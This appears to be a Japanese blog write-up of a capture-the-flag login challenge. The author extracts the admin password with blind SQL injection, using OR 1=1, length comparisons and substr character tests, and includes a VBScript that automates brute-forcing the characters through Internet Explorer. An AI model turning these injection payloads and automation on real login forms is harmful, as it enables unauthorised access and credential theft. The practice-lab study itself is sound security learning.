問題
解いてみた
- リンクをクリックしてみます。
- 適当に文字を入力してみます。
- ページのソースを見てみます。
- 特に何もなさそうです。
- パケット見てみます。
- 特に何もなさそうです。
- SQLインジェクションでしょうか。
- IDに「' or 1=1 --」を入れてみます。
- かなりいい感じですね。
- クリアしたのかと思ったら、ログインを突破することが目的ではなくadminのパスワードがフラグになっているそうです。。。
- IDに「' or SELECT * FROM user --」とかやれば、DB全部出そう。
- ダメでした。
- やり方わからないので検索してみます。
- ブラインドSQLインジェクションとかいう技があるらしい。
- 直接結果が表示されないときでもあってる/間違ってるの結果の違いからブルートフォース的なことをして、頑張っていく方法らしい。
- ただ、これまでのフラグの桁数は20桁くらいあるので、総当たりはつらい。
- まずはパスワードの桁数を調べたいところ。
- 少なくとも「FLAG_」の文字は先頭につくはずだから6以上は確実なわけです。
- 「' or (SELECT length(pass) FROM user WHERE id = 'admin') > 6 --」をやってみます。
- これが出たので、パスワードは6文字より大きいということが証明できた。
- 1ずつ増やすのはめんどくさいので前回の問題の答えが21文字だったので20文字より大きいでやってみます。
- ' or (SELECT length(pass) FROM user WHERE id = 'admin') > 20 --
- よし。
- では1増やしてみます。
- ' or (SELECT length(pass) FROM user WHERE id = 'admin') > 21 --
- ダメだとこうなるんですね。
- つまり、21文字ということが分かりました。
- さて21文字を英字大文字、英字小文字、数字でブルートフォースするのはかなり大変だと思います。
- 厳密にいうと先頭5文字はFLAG_なので16文字ブルートフォースが必要。
- substrを使って6文字目から1文字ずつ比較していった方がかなり削減できそう。
- その前にsubstrのテストと先頭が本当に「FLAG_」なのか調べるために以下をやってみます。
- ' or substr((SELECT pass FROM user WHERE id = 'admin'), 1, 1) = 'F' --
- ' or substr((SELECT pass FROM user WHERE id = 'admin'), 2, 1) = 'L' --
- ' or substr((SELECT pass FROM user WHERE id = 'admin'), 3, 1) = 'A' --
- ' or substr((SELECT pass FROM user WHERE id = 'admin'), 4, 1) = 'G' --
- ' or substr((SELECT pass FROM user WHERE id = 'admin'), 5, 1) = '_' --
- 全部これになりましたよ。つまり正解ということです。
- これを6文字目以降もやっていくんですが、さすがに手動は骨が折れます。
- VBSでツール作ってみました。
Dim fso
Set fso = WScript.CreateObject("Scripting.FileSystemObject")
Dim inputData
Set inputData = fso.OpenTextFile("passList.txt", 1, False, 0)
Set objFso = CreateObject("Scripting.FileSystemObject")
Set objFile = objFso.OpenTextFile("result.txt", 8, False)
Dim count
count = 6
Dim flag
flag = "FLAG_"
Dim inputFlag
Dim registerUrl
registerUrl = "http://ctfq.sweetduet.info:10080/~q6/"
Do While count < 22
Do Until inputData.AtEndOfStream
inputFlag = inputData.ReadLine
Set ie = CreateObject("InternetExplorer.Application")
ie.Navigate registerUrl
ie.Visible = True
waitIE ie
ie.Document.getElementsByName("id")(0).Value = "' or substr((SELECT pass FROM user WHERE id = 'admin'), " & count & ", 1) = '" & inputFlag & "' --"
waitIE ie
ie.Document.getElementsByTagName("input")(2).Click
waitIE ie
If InStr(ie.Document.getElementsByTagName("p")(0).innerHTML, "Congratulations") > 0 Then
flag = flag & inputFlag
objFile.WriteLine(flag)
ie.Quit
Set ie = Nothing
Exit Do
End If
ie.Quit
Set ie = Nothing
Loop
count = count + 1
Loop
objFile.Close
Set objFile = Nothing
Set objFso = Nothing
Sub waitIE(ie)
Do While ie.Busy = True Or ie.readystate <> 4
WScript.Sleep 1000
Loop
End Sub
- なんでかよくわかりませんが、これではうまくいきませんでした。
- HTMLを取得しようとすると空になってしまいます。
- ほかだとうまくいったのでプログラム自体は間違ってないと思うんですが。
- 遷移前と遷移後でURLが一緒なのが悪さしてるんでしょうか。
- それと開いたIEが閉じない。。。
- これもほかだとうまくいく。。。
- とりあえず開く操作だけツール化して、目視確認しました。
- 大量にページが出てくるのでかなり大変でした。
- OKの方のページになった文字を確認して1文字ずつ追加していって何とかできましたよ。
- ちょっと不完全燃焼ですが、一応解けてよかった。
- あえてpython使わず初めてのVBS使ってみたのが良くなかったんですかね。
- ただしVBS正しく動けば割と使えるなと思いました。